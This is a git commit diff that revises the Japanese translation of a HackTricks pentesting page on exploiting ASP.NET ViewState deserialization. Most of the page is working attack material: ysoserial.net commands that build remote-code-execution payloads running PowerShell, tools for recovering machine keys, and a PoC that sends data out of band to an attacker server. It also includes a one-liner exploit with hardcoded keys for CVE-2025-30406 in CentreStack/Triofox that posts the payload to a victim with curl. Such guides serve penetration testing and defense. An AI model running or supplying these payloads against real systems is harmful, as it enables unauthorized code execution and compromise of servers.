mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
1457d9acc1
commit
c3059dd538
@ -1,7 +1,9 @@
|
||||
# __VIEWSTATEの悪用(秘密を知らなくても)
|
||||
# __VIEWSTATEの秘密を知らずに悪用する
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## ViewStateとは
|
||||
|
||||
**ViewState**は、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。
|
||||
@ -10,7 +12,7 @@ ViewState情報は、以下の特性またはその組み合わせによって
|
||||
|
||||
- **Base64**:
|
||||
- `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されるフォーマットです。
|
||||
- **Base64 + MAC(メッセージ認証コード)有効**:
|
||||
- **Base64 + MAC (メッセージ認証コード) 有効**:
|
||||
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。
|
||||
- **Base64 + 暗号化**:
|
||||
- `ViewStateEncryptionMode`属性がtrueに設定されている場合、暗号化が適用され、ViewStateデータの機密性が確保されます。
|
||||
@ -19,10 +21,10 @@ ViewState情報は、以下の特性またはその組み合わせによって
|
||||
|
||||
画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです:
|
||||
|
||||
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する方法はありません。
|
||||
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
|
||||
2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
|
||||
3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - Future Development」の仕事です。
|
||||
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ(両方がtrue、または一方がtrueで他方がfalseの場合)でMachineKeyが必要です。MachineKeyは「Blacklist3r」を使用して特定できます。
|
||||
3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。
|
||||
4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ(両方がtrueであるか、一方がtrueで他方がfalseであるか)はMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。
|
||||
|
||||
### テストケース: 1 – EnableViewStateMac=false および viewStateEncryptionMode=false
|
||||
|
||||
@ -38,17 +40,17 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
```
|
||||
### Test case 1.5 – Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません
|
||||
|
||||
開発者は**ViewState**をHTTPリクエストの一部として送信しないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
|
||||
**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると仮定するかもしれません。\
|
||||
開発者は**ViewState**をHTTPリクエストの一部として送信されないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
|
||||
**ViewState**が**存在しない**場合、その実装はViewStateのデシリアライズに起因する潜在的な脆弱性から**安全**であると考えるかもしれません。\
|
||||
しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**に示されているように**コード実行**を達成することができます。
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
特定のページに**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります:
|
||||
特定のページに**ViewState MAC**を**有効**にするためには、特定のaspxファイルに以下の変更を加える必要があります:
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することで実行できます:
|
||||
全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することができます:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
@ -68,9 +70,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
|
||||
|
||||
viewstate と generator を直接提供することができます:
|
||||
viewstate と generator を直接提供することもできます:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
@ -100,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらの** パラメータは必要です:
|
||||
サーバーによって`_VIEWSTATEGENERATOR`パラメータが**送信されない**場合、`--generator`パラメータを**提供する必要はありませんが、これらのパラメータは必要です**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
@ -110,9 +112,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
**この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...**
|
||||
|
||||
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**未暗号化**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、未暗号化のペイロードを送信しても、処理されます。**
|
||||
**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、暗号化されていないペイロードを送信しても、処理されます。**
|
||||
|
||||
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
|
||||
したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
|
||||
|
||||
- ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
|
||||
|
||||
@ -136,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
IISDirPathとTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
IISDirPathとTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)。
|
||||
|
||||
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレーター値付き)を使用して:
|
||||
```bash
|
||||
@ -153,20 +155,20 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認してください。
|
||||
ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
|
||||
|
||||
### テストケース 6 – ViewStateUserKeysが使用されている
|
||||
|
||||
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\
|
||||
ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります:
|
||||
ペイロードを正しく作成するためには、もう1つのパラメータを使用する必要があります:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### 成功したエクスプロイトの結果 <a href="#poc" id="poc"></a>
|
||||
|
||||
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
|
||||
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは“**500 Internal server error**”という応答を返し、応答内容は“**このページの状態情報は無効であり、破損している可能性があります**”となり、OOB リクエストを取得します。
|
||||
|
||||
[さらに詳しい情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
[さらなる情報はこちらを確認してください](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### リフレクションを介したASP.NETマシンキーのダンプ (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
@ -201,22 +203,20 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
|
||||
## 2024-2025年の実世界の悪用シナリオとハードコーディングされたマシンキー
|
||||
|
||||
### マイクロソフトの「公開されたマシンキー」波(2024年12月 – 2025年2月)
|
||||
マイクロソフトの脅威インテリジェンスは、*machineKey*が以前に公的なソース(GitHub gists、ブログ投稿、ペーストサイト)で漏洩していたASP.NETサイトの大規模な悪用を報告しました。敵対者はこれらのキーを列挙し、WAFの長さ制限を回避するために新しい`ysoserial.net` 1.41の`--minify`および`--islegacy`フラグを使用して有効な`__VIEWSTATE`ガジェットを生成しました。
|
||||
### Microsoftの「公開されたマシンキー」波(2024年12月 – 2025年2月)
|
||||
Microsoft Threat Intelligenceは、*machineKey*が以前に公的なソース(GitHub gists、ブログ投稿、ペーストサイト)で漏洩していたASP.NETサイトの大規模な悪用を報告しました。敵対者はこれらのキーを列挙し、WAFの長さ制限を回避するために新しい`ysoserial.net` 1.41の`--minify`および`--islegacy`フラグを使用して有効な`__VIEWSTATE`ガジェットを生成しました:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
静的キーを回転させるか、Web .configで*AutoGenerate*キーに切り替える(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)ことで、このクラスの攻撃を軽減できます。 {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
静的キーを回転させるか、Web .configで*AutoGenerate*キーに切り替えることで(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)、この種の攻撃を軽減できます。
|
||||
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofoxのハードコーディングされたキー
|
||||
Kudelski Securityは、複数のCentreStack / Triofoxリリースが同一の`machineKey`値で出荷されており、ViewStateの偽造を通じて認証されていないリモートコード実行を可能にしていることを発見しました(CVE-2025-30406)。
|
||||
|
||||
ワンライナーエクスプロイト:
|
||||
ワンライナーエクスプロイト:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
@ -225,7 +225,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 で修正されました – すぐにアップグレードするか、キーを置き換えてください。 {{#ref}}
|
||||
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 で修正されました – すぐにアップグレードまたはキーを置き換えてください。 {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user